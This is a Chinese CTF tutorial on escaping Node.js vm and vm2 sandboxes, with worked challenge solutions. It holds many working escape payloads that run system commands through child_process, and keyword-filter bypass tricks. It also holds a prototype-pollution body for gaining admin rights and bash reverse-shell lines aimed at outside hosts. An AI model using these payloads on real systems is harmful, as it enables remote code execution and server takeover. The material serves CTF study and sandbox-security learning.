CTF题型 nodejs(2) Js沙盒vmvm2逃逸原理总结典型例题

news/2024/5/19 20:53:17 标签: javascript, 前端, 开发语言, 安全, CTF, 代码审计, Web

CTF_nodejs2_Js_0">CTF题型 nodejs(2) Js沙盒逃逸原理&典型例题

文章目录

  • CTF题型 nodejs(2) Js沙盒逃逸原理&典型例题
  • 一.vm原理以及逃逸
    • 1.基本用法
    • 2.如何逃逸汇总
      • 1)this为对象
      • 2)this为null( Object.create(null))
        • a .可用输出直接触发toString方法
        • b.调用属性触发
      • 3)Object.create(null)+沙箱的返回值返回无法利用输出/根本不输出
  • 二.vm2原理以及逃逸
    • 1.基本用法
    • 2.如何逃逸
      • 1.Github issue参考
      • 2.原型链污染实现逃逸
  • 三.例题
    • 1.[HITCON 2016]Leaking
    • 2.BUUCTF-[HFCTF2020]JustEscape
      • fuzz字典编写
    • 3.[GKCTF 2020]ez三剑客-easynode
    • 4.[HZNUCTF 2023 final]eznode
    • 5.[2023 0xGame **ez_sandbox**]
    • 6.[2024 nkctf 最简单的CTF题]
      • `${}`拼接的字符串汇总

vm 模块提供了一系列 API 用于在 V8 虚拟机环境中编译和运行代码

逃逸定义:通过某种方式拿到沙箱外的 global.process就算成功

本质上是拿到沙箱外的对象实现global.process.mainModule.require("child_process").execSync("whoami").toString()实现RCE

结合命令执行的多种绕过

上篇文章做了一个命令执行的绕过小总结

一.vm原理以及逃逸

1.基本用法

官网给出vm例子:

如何创建一个基本的VM沙箱

javascript">const vm = require('vm');

const x = 1;

const sandbox = { x: 2 };
vm.createContext(sandbox); // Contextify the sandbox.

const code = 'x += 40; var y = 17;';
// x and y are global variables in the sandboxed environment.
// Initially, x has the value 2 because that is the value of sandbox.x.
vm.runInContext(code, sandbox);

console.log(sandbox.x); // 42
console.log(sandbox.y); // 17

console.log(x); // 1; y is not defined.

通过 vm.createContext(sandbox); 创建沙箱环境

vm.runInContext(code, sandbox); 在沙箱中运行

通过sandbox的属性访问沙箱的属性sandbox.x

这里的Context可以简单理解为上下文(虚拟机)

2.如何逃逸汇总

可以通过this+constructor 实现 沙箱逃逸

在沙箱中this返回当先的 sandbox环境

this指向的是当前传递给runInNewContext的对象,这个对象是不属于沙箱环境

1)this为对象

image-20240327100803250

我们需要做的其实就是寻找一个连接 '沙箱’和’真实环境’的来连接通道

image-20240328222732968

通过constructor可以不断向上寻找构造器

image-20240327100947364

可以拿到Object

image-20240327101039745

可以拿到Function 通过Functio可以返回global.process

image-20240327101841013

javascript">const vm = require('vm');



const sandbox = {'x':1 };
vm.createContext(sandbox); 

const code = `
p=this.constructor.constructor("return process")();
res=p.mainModule.require("child_process").execSync("whoami").toString();
`;

res=vm.runInContext(code, sandbox);
console.log(res);

image-20240327103110670

可以实现任意命令

2)this为null( Object.create(null))

a .可用输出直接触发toString方法

类似

javascript">const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null); //this 无法取到global的环境
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)//进行直接输出结果触发toString()方法

逃逸使用arguments.callee.caller,可以返回函数的调用者(返回沙箱外的一个对象)

原理分析:https://xz.aliyun.com/t/11859

payload:

javascript">const vm = require('vm');
const script = 
`(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
b.调用属性触发

利用Proxy代理劫持属性,访问任意属性触发

javascript">const vm = require("vm");

const script = 
`
(() =>{
    const a = new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

3)Object.create(null)+沙箱的返回值返回无法利用输出/根本不输出

比如

javascript">try {
      waf(code)
      let result = vm.runInContext(code, context)
      res.send({
        'result': result
      })
        } catch (e) {
            res.send({
                'result': e.message
            })

没有对result输出,但是存在 try-catch结构,可以catch抛出的异常而且进行输出

payload:

javascript">const vm = require("vm");

const script = 
`
    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))(); //p可以得到global.process对象
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`;
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e) 
}//输出异常

单行版–便于本地调试用 ` 调试

javascript">const vm = require("vm");

const script = "throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();return p.mainModule.require('child_process').execSync('whoami').toString();}})";
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e) 
}//输出异常

二.vm2原理以及逃逸

vm2相比vm做出很大的改进,其中之一就是利用了es6新增的proxy特性,从而使用钩子拦截对constructor和__proto__这些属性的访问

1.基本用法

javascript">const {VM, VMScript} = require('vm2');

const script = new VMScript("let a = 2;a;");

console.log((new VM()).run(script));

区分vm和vm2

1.require的包不同

2.代码编写结构不同

不要vm和vm2傻傻分不清

2.如何逃逸

1.Github issue参考

建议直接参考github上的issue

比如:最新的利用是vm2@3.9.15 截止2024年3月

具体原理:https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c

CVE——payload: 对应我们打CTF而言会改写就可以了

javascript">const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();
}
`

console.log(vm.run(code));

image-20240327105255069

可以实现vm2逃逸

但是实际比赛还是大概率考经典的vm2逃逸 vm2@3.8.3

https://github.com/patriksimek/vm2/issues/225

javascript">const {VM} = require('vm2');
const untrusted = '(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}
javascript">(function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
})()

同时还可以考虑原型链污染实行vm2逃逸

2.原型链污染实现逃逸

javascript">let res = import('./app.js');
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

通过已知源码位置实现返回global

三.例题

1.[HITCON 2016]Leaking

开题直接给了源码

javascript">var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");

    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});

app.listen(3000, function() {
    console.log("listening on port 3000!");
});

这里payload要求小于12的长度

这里如何得到vm2的版本?但是一定是远古版本

参考:https://blog.csdn.net/a3320315/article/details/104217972

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

可以利用Buffer读取内存信息 可以编写poc

import requests
import time
url ="http://42d8ea9d-6466-4095-8521-a5bb1f162fa5.node5.buuoj.cn:81/?data=Buffer(888)"
while True:
    res=requests.get(url=url)
    if 'hitcon' in res.text:
        print("Get a flag"+res.text)
        break

image-20240327111647613

可以读到内存中的信息

CTFHFCTF2020JustEscape_389">2.BUUCTF-[HFCTF2020]JustEscape

https://buuoj.cn/challenges#[HFCTF2020]JustEscape

image-20240327112026338

考虑后端为nodejs,不是php,不要被迷惑了

/run.php?code=Error().stack使它报错

image-20240327112404207

判断是vm2逃逸

不知道过滤了什么

fuzz字典编写

网上好像没有公开的fuzz字典,可以自己写个fuzz字典

javascript">require
const
function
Function
stack
try
catch
$
run
new 
get
.
"
'
`
=
eval
for
while
process
spawn
spawnSync
exec
execSync
[
]
[]
constructor
prototype
+
,
fs
sh
x
flag
proxy
Proxy
__proto__
{
}
stack
{}
mainModule
toString
child_process
_load
Object.values
5
9
31
Reflect
ownKeys
includes
startsWith
Reflect.get
Reflect.ownKeys
find
form
Buffer

image-20240327125559607

发现禁止了Function,process,while,for,",',+,exec,prototype,construtor

尝试改写 前面提到的vm2逃逸代码

javascript">(function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
})()

constructor,process,',"被禁止

思路简单一点:考虑编码绕过 比如16进制绕过

先在本地打通payload

payload:

javascript">const {VM} = require('vm2');
const untrusted = '(' + function(){
	TypeError[`pro\x74otype`][`get_pro\x63ess`] = f=>f[`\x63onstructor`](`return pro\x63ess`)();
	try{
		Object.preventExtensions(Buffer.from(``)).a = 1;
	}catch(e){
		return e[`get_pro\x63ess`](()=>{}).mainModule.require(`child_pro\x63ess`)[`exe\x63Sync`](`whoami`).toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

image-20240328223714538

禁止了Function,process,while,for,",',+,exec,prototype,construtor

实际利用payload

javascript">(function(){
	TypeError[`pro\x74otype`][`get_pro\x63ess`] = f=>f[`\x63onstructor`](`return pro\x63ess`)();
	try{
		Object.preventExtensions(Buffer.from(``)).a = 1;
	}catch(e){
		return e[`get_pro\x63ess`](()=>{}).mainModule.require(`child_pro\x63ess`)[`exe\x63Sync`](`whoami`).toString();
	}
})()

image-20240328224428743

可以执行任意命令

当然比赛中 常用的 也用模板字符拼接也是可以的

javascript">(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

image-20240328225613387

CTF_2020ezeasynode_552">3.[GKCTF 2020]ez三剑客-easynode

和vm逃逸无关,safer-eval逃逸

https://github.com/commenthol/safer-eval/issues/10

javascript">const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

CTF_2023_finaleznode_570">4.[HZNUCTF 2023 final]eznode

访问app.js拿源码

javascript">const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

典型的JS原型链污染

javascript">const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

污染{} 没有做任何过滤

javascript">const clone = (a) => {
    return merge({}, a);
}

保证copybody.shit=1触发backdoor()

可以看出来出题人当时比较暴躁

javascript">const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

污染{}.shellcode为我们的逃逸代码

构造代码 {"shit":1,"__proto__":{"shellcode":"payload"}}

将vm2逃逸经典poc修改一下

javascript">(function(){
	TypeError.prototype.get_process = f=>f.constructor(`return process`)();
	try{
		Object.preventExtensions(Buffer.from(``)).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require(`child_process`).execSync(`whoami`).toString();
	}
})()

payload1:

{"shit":1,"__proto__":{"shellcode":"(function(){TypeError.prototype.get_process = f=>f.constructor('return process')();try{Object.preventExtensions(Buffer.from('')).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require('child_process').execSync('ping lepywntkle.dgrh3.cn').toString();}})()"}}

不理解CVE为什么没有打通

换成原型链污染 反弹sh

{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'sh -i >& /dev/tcp/148.135.82.190/8888 0>&1'\").toString();"}}

image-20240329170917551

可以成功反弹shell

5.[2023 0xGame ez_sandbox]

这道题给了源码

javascript">const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
  secret: crypto.randomBytes(64).toString('hex'),
  resave: false,
  saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) { //污染函数
  for (let key in source) {
    if (key === '__proto__') {
      continue
    }
    if (key in source && key in target) {
      merge(target[key], source[key])
    } else {
      target[key] = source[key]
    }
  }
  return target
}

function clone(source) { //调用污染函数点
  return merge({}, source)
}

function waf(code) {
  let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
  for (let v of blacklist) {
    if (code.includes(v)) {
      throw new Error(v + ' is banned')
    }
  }
}

function requireLogin(req, res, next) {
  if (!req.session.user) {
    res.redirect('/login')
  } else {
    next()
  }
}

app.use(function(req, res, next) {
  for (let key in Object.prototype) {
    delete Object.prototype[key]
  }
  next()
})

app.get('/', requireLogin, function(req, res) {
  res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
  res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
  res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
  let { username, password } = clone(req.body)

  if (username in users && password === users[username]) {
    req.session.user = username

    if (username in admins) {
      req.session.role = 'admin'
    } else {
      req.session.role = 'guest'
    }

    res.send({
      'message': 'login success'
    })
  } else {
    res.send({
      'message': 'login failed'
    })
  }
})

app.post('/register', function(req, res) {
  let { username, password } = clone(req.body)

  if (username in users) {
    res.send({
      'message': 'register failed'
    })
  } else {
    users[username] = password
    res.send({
      'message': 'register success'
    })
  }
})

app.get('/profile', requireLogin, function(req, res) {
  res.send({
    'user': req.session.user,
    'role': req.session.role
  })
})

app.post('/sandbox', requireLogin, function(req, res) {
  if (req.session.role === 'admin') {
    let code = req.body.code
    let sandbox = Object.create(null)
    let context = vm.createContext(sandbox)

    try {
      waf(code)
      let result = vm.runInContext(code, context)
      res.send({
        'result': result
      })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

app.get('/logout', requireLogin, function(req, res) {
    req.session.destroy()
    res.redirect('/login')
})

app.listen(3000, function() {
    console.log('server start listening on :3000')
})

存在典型的JS原型链污染

javascript">function merge(target, source) { //污染函数
  for (let key in source) {
    if (key === '__proto__') {
      continue
    }
    if (key in source && key in target) {
      merge(target[key], source[key])
    } else {
      target[key] = source[key]
    }
  }
  return target
}

但是过滤了__proto__可以用constructor.prototype代替

我们在/register注册用户后,发现权限不足,无法直接运行js代码

image-20240329185456280

我们要想办法是admin权限

registerlogin都调用了clone()函数 可以进行污染

先注册一个账号 1,1

在登录处进行污染

{"username":"1","password":"1","construtor":{"prototype":{"1":"1"}}}

image-20240329213526959

可以成功将权限转换为admin,现在进行VM逃逸

const vm = require('vm');可以判断是vm逃逸

禁止了一些关键词

javascript">function waf(code) {
  let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
  for (let v of blacklist) {
    if (code.includes(v)) {
      throw new Error(v + ' is banned')
    }
  }
}

VM逃逸类型

上文提到的Object.create(null)+沙箱的返回值返回无法利用输出/根本不输出

javascript">app.post('/sandbox', requireLogin, function(req, res) {
  if (req.session.role === 'admin') {
    let code = req.body.code
    let sandbox = Object.create(null)
    let context = vm.createContext(sandbox)

    try {
      waf(code)
      let result = vm.runInContext(code, context)
      res.send({
        'result': result
      })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

但是捕获了异常

改写一下前面的payload即可

javascript">    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })

简单用+号拼接即可绕过

javascript">throw new Proxy({}, {  
  get: function(){ 
    const c = arguments.callee.caller
    const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
    return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
  }
})

直接可以拿到flag

image-20240329214527567

补充:官方的做法

vm逃逸的方法

这道题官方wp已经说的非常清楚了

javascript">// method 1
throw new Proxy({}, { // Proxy 对象用于创建对某一对象的代理, 以实现属性和方法的拦截
  get: function(){ // 访问这个对象的任意一个属性都会执行 get 指向的函数
    const c = arguments.callee.caller
    const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
    return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
  }
})
// method 2
let obj = {} // 针对该对象的 message 属性定义一个 getter, 当访问 obj.message 时会调用对应的函数
obj.__defineGetter__('message', function(){
  const c = arguments.callee.caller
  const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
  return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
})
throw obj
// 或者模板字符串
throw new Proxy({}, {
    get: function(){
      const cc = arguments.callee.caller;
      const p = (cc[`${`constructo`}r`][`${`constructo`}r`](`return ${`proces`}s`))();
      return p[`${`mainModul`}e`][`${`requir`}e`]('child_pr'+'ocess')[`${`exe`}cSync`}`]('id').toString();
}
});

CTF_1007">6.[2024 nkctf 最简单的CTF题]

当时以为是黑盒,环境好像也有点问题,字典太小,我服了我自己了…还是太菜了

下次开题先用dirsearch字典扫一遍再说

和上题非常类似,就是多过滤了一些符号

/secret源码

javascript">const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

vm逃逸+Object.create(null)+沙箱的返回值返回无法利用输出/根本不输出

直接将异常抛出触发

javascript">    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })

过滤关键词

  • process: 匹配字符串 “process”。

  • \[.*?\]: 匹配任何在方括号 [] 内的内容,如 [abc][123]。这里使用了非贪婪匹配,所以它会尽可能少地匹配方括号内的内容。

  • exec|spawn: 匹配字符串 “exec” 或 “spawn”。

  • Buffer: 匹配字符串 “Buffer”。

  • \\: 匹配反斜杠字符 \

  • \+: 匹配加号字符 +

  • concat: 匹配字符串 “concat”。

  • eval: 匹配字符串 “eval”。

  • Function: 匹配字符串 “Function”。

考虑拼接字符串 \被禁编码用不了,concat不能拼接,可以考虑模板字符串${}拼接

上篇文章总结过,复制一下

${}拼接的字符串汇总

这里总结一下${}拼接的字符串,以便快速使用

process     	`${`${`proce`}ss`}`
prototype		`${`${`prototyp`}e`}`
get_process		`${`${`get_pro`}cess`}`
require			`${`${`requir`}e`}`
execSync		`${`${`exe`}cSync`}`
return process	`${`${`return proc`}ess`}`
constructor		`${`${`constructo`}r`}`
child_process	`${`${`child_proces`}s`}`

可以参考上题的payload,同时[]被禁止了

javascript">    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })

参考上篇文章用Reflect.get()绕过中括号限制

通过Reflect.get(对象,属性) 拿到对象的属性

可以简单改一下

javascript">const vm = require("vm");

const script = "throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();chi=p.mainModule.require(`${`${`child_proces`}s`}`);res=Reflect.get(chi, `${`${`exe`}cSync`}`)('whoami');return res.toString();}})";
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e) 
}

可以成功执行系统命令image-20240329230838772

构造payload

javascript">throw new Proxy({}, {
get: function(){const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();
chi=p.mainModule.require(`${`${`child_proces`}s`}`);
res=Reflect.get(chi, `${`${`exe`}cSync`}`)('whoami');
return res.toString();}})

可以实现绕过过滤

本地打通官方没有放docker

看看网上其他师傅的WP

直接replace简洁不少,也是可以的

javascript">throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procAess'.replace('A','')))();
			const obj = p.mainModule.require('child_procAess'.replace('A',''));
			const ex = Object.getOwnPropertyDescriptor(obj,'exeAcSync'.replace('A',''));
			return ex.value('bash -c "bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1"').toString();
        }
    })

http://www.niftyadmin.cn/n/5458686.html

相关文章

云原生架构(微服务、容器云、DevOps、不可变基础设施、声明式API、Serverless、Service Mesh)

前言 读完本文&#xff0c;你将对云原生下的核心概念微服务、容器云、DevOps、Immutable Infrastructure、Declarative-API、Serverless、Service Mesh 等有一个相对详细的了解&#xff0c;帮助你快速掌握云原生的核心和要点。 因题主资源有限, 这里会选用部分云服务商的组件进…

C#WPF控件Button详解

本文详解WPF的Button控件。 目录 前言 定义 属性 事件 应用实例 1、普通应用

大数据学习-2024/3/29-PL/SQL中使用SQL语句对数据进行增删改查

1、创建用户 语法规范&#xff1a;create user 用户名 identifind by 密码; 命名规范&#xff1a;1、不能是纯数字 2、不能有特殊字符&#xff08;&#xff09;例如&#xff1a;yangyin create user yangyin identified by 123456;2、建表 create table 表名( 列名 数据类型…

iOS UIFont-真香警告之字体管理类

UIFont 系列传送门 第一弹加载本地字体:iOS UIFont-新增第三方字体 第二弹加载线上字体:iOS UIFont-实现三方字体的下载和使用 第三弹搭建字体管理类:iOS UIFont-真香警告之字体管理类 前言 不知道友们是否有过这种经历,项目已经迭代了很多版本,项目中的文件已经上千个了…

09-研发流程设计(下):如何管理应用的生命周期?

如何管理我们的Go项目&#xff0c;也就是说如何对应用的生命周期进行管理。 那应用的生命周期管理&#xff0c;怎么理解呢&#xff1f;其实&#xff0c;就是指采用一些好的工具或方法在应用的整个生命周期中对应用进行管理&#xff0c;以提高应用的研发效率和质量。 所以&…

DC-9靶场

一.环境搭建 1.下载地址 靶机下载地址&#xff1a;https://download.vulnhub.com/dc/DC-9.zip 2.虚拟机配置 设置虚拟机为nat&#xff0c;遇到错误点重试和是 开启虚拟机如下图所示 二.开始渗透 1. 信息收集 查找靶机的ip地址 arp-scan -l 发现靶机的ip地址为192.168.11…

电脑怎么格式化,电脑怎么格式化恢复出厂设置

对电脑进行格式化可以理解为重置电脑&#xff0c;就是对电脑进行恢复出厂设置。当电脑系统出现问题时&#xff0c;我们可以将系统还原到正常情况时的状态&#xff0c;但是可能会丢失文件和设置。另外&#xff0c;除了重置电脑外&#xff0c;一键重装系统也可以让电脑格式化。这…

V R虚拟现实元宇宙的前景|虚拟现实体验店加 盟合作|V R设备在线购买

VR&#xff08;虚拟现实&#xff09;技术作为一种新兴的技术&#xff0c;正在逐渐改变人们的生活和工作方式。随着技术的不断进步&#xff0c;人们对于元宇宙的概念也越来越感兴趣。元宇宙是一个虚拟世界&#xff0c;通过VR技术可以实现人们在其中进行各种活动和交互。 元宇宙的…